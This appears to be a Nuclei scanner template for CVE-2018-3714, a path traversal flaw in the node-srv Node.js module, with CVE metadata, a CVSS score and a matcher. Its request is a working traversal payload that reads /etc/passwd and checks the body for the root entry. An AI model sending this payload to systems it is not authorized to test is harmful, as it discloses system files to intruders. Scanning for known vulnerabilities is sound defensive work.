28 lines
787 B
YAML
28 lines
787 B
YAML
id: CVE-2018-3714
|
|
info:
|
|
name: node-srv Path Traversal
|
|
author: madrobot
|
|
severity: medium
|
|
reference: https://hackerone.com/reports/309124
|
|
tags: cve,cve2018,nodejs,lfi
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 6.50
|
|
cve-id: CVE-2018-3714
|
|
cwe-id: CWE-22
|
|
description: "node-srv node module suffers from a Path Traversal vulnerability due to lack of validation of url, which allows a malicious user to read content of any file with known path."
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/node_modules/../../../../../etc/passwd"
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
part: body
|